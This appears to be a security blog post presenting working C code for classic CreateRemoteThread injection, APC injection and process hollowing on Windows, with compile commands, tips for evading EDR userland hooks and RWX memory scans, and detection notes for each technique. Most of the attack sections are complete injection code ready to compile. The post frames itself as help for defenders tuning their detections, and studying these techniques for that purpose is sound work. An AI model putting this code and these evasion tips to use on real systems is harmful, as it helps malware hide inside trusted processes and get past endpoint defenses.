Process injection, end to end
Classic injection, APC injection, and process hollowing with working code, compile commands, and the detection surface for each.
- #Process Injection
- #APC
- #Hollowing
- #EDR Evasion
- #Windows
§Why injection still matters
Process injection runs your payload inside a trusted process's address space. The benefits: the payload inherits the host's reputation, network connections, and (sometimes) privileges. The cost: every injection technique has a distinct detection signature, and modern EDRs key on all of them.
This post covers three techniques with working code and the detection surface for each.
§1. Classic injection (CreateRemoteThread)
The textbook technique: open a target process, allocate memory, write shellcode, create a remote thread.
#include <windows.h>
#include <stdio.h>
int inject_classic(DWORD pid, unsigned char *shellcode, size_t sc_size) {
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!proc) return 1;
LPVOID remote = VirtualAllocEx(proc, NULL, sc_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remote) { CloseHandle(proc); return 2; }
SIZE_T written;
if (!WriteProcessMemory(proc, remote, shellcode, sc_size, &written)) {
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return 3;
}
HANDLE thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)remote, NULL, 0, NULL);
if (!thread) {
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return 4;
}
WaitForSingleObject(thread, INFINITE);
CloseHandle(thread);
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
CloseHandle(proc);
return 0;
}Detection
- **ETW TI**: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx` events with a cross-process handle.
- **Handle access**: `OpenProcess` with `PROCESS_ALL_ACCESS` on a process you don't own → `ObRegisterCallbacks` alert.
- **Memory scan**: RWX region in a process that doesn't normally have one → PE-sieve/Moneta.
- **Stack walk**: the remote thread's start address is unbacked → EDR flags.
Evasion variants
- Use `NtCreateThreadEx` directly (bypasses userland hooks, not ETW).
- Allocate as RW, write, then flip to RX (two-step, avoids RWX).
- Use `QueueUserAPC` instead of `CreateRemoteThread` (next section).
§2. APC injection
Queue an APC to a thread in the target process. The APC runs when the thread enters an alertable wait state (`SleepEx`, `WaitForSingleObjectEx`, `MsgWaitForMultipleObjectsEx`).
int inject_apc(DWORD pid, unsigned char *shellcode, size_t sc_size) {
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!proc) return 1;
LPVOID remote = VirtualAllocEx(proc, NULL, sc_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remote) { CloseHandle(proc); return 2; }
SIZE_T written;
WriteProcessMemory(proc, remote, shellcode, sc_size, &written);
// find a thread in alertable state
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
Thread32First(snap, &te);
do {
if (te.th32OwnerProcessID == pid) {
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thread) {
QueueUserAPC((PAPCFUNC)remote, thread, 0);
CloseHandle(thread);
break;
}
}
} while (Thread32Next(snap, &te));
CloseHandle(snap);
CloseHandle(proc);
return 0;
}Detection
- **APC queue inspection**: EDRs enumerate pending APCs per thread (`NtQueueApcThread` events).
- **Thread start address**: the APC function points to unbacked memory.
- **Alertable wait requirement**: the target thread must be in an alertable wait; if not, the APC never fires. EDRs monitor which threads are alertable.
When to use
APC injection is stealthier than CreateRemoteThread (no new thread created), but requires an alertable thread. Common targets: svchost threads, explorer threads, or any process that calls `SleepEx`.
§3. Process hollowing
Create a suspended process, unmap its image, map your payload in its place, fix the PEB, and resume. The process appears to be the legitimate binary (e.g., svchost.exe) but runs your code.
int hollow(const char *target, unsigned char *payload, size_t payload_size) {
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi;
if (!CreateProcessA(target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) return 1;
// get PEB and ImageBase
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
void *peb = (void*)ctx.Rdx; // x64: Rdx = PEB
void *image_base;
ReadProcessMemory(pi.hProcess, (char*)peb + 0x10, &image_base, sizeof(image_base), NULL);
// unmap original image
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC zwunmap = GetProcAddress(ntdll, "ZwUnmapViewOfSection");
((NTSTATUS (WINAPI*)(HANDLE, PVOID))zwunmap)(pi.hProcess, image_base);
// allocate and write payload
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
LPVOID new_base = VirtualAllocEx(pi.hProcess, (LPVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, new_base, payload, nt->OptionalHeader.SizeOfHeaders, NULL);
// copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
WriteProcessMemory(pi.hProcess, (char*)new_base + sec->VirtualAddress,
payload + sec->PointerToRawData, sec->SizeOfRawData, NULL);
}
// fix PEB ImageBase
WriteProcessMemory(pi.hProcess, (char*)peb + 0x10, &new_base, sizeof(new_base), NULL);
// set entry point
ctx.Rcx = (DWORD64)new_base + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
return 0;
}Detection
- **Process creation with suspended flag**: `CREATE_SUSPENDED` is rare for legitimate processes.
- **Image mismatch**: the process name is svchost.exe but the loaded image is not svchost.exe → EDR checks `NtQueryInformationProcess(ProcessImageFileName)` vs. the PEB.
- **Unmap event**: `ZwUnmapViewOfSection` on a process's own image is highly suspicious.
- **Memory region origin**: the new image is allocated in a process that already had an image → double-mapped image detection.
§Comparison
§Compile
# Classic + APC
cl /O2 /GS- inject.c /link /OUT:inject.exe
# MinGW
x86_64-w64-mingw32-gcc -O2 -s inject.c -o inject.exe§Detection (defender side)
- ETW TI events for cross-process memory operations.
- PE-sieve: scan for unbacked executable regions and process hollowing (image mismatch).
- YARA in-memory: scan process memory for known shellcode patterns.
- Behavioral: a process that creates a suspended child and immediately resumes it after memory writes is a strong hollowing signal.
§Takeaway
Process injection is a solved problem for defenders with ETW TI enabled. The value of knowing these techniques is not in using them — it is in understanding what your EDR is actually detecting, so you can tune and validate it. Every injection technique above has a corresponding detection in any modern EDR; the question is whether your deployment has that detection enabled. "
Written by
MJ — offensive security researcher
I break things in a lab so defenders can build better controls. Everything published here is lab-derived, responsibly disclosed, and documented with the detection path in mind.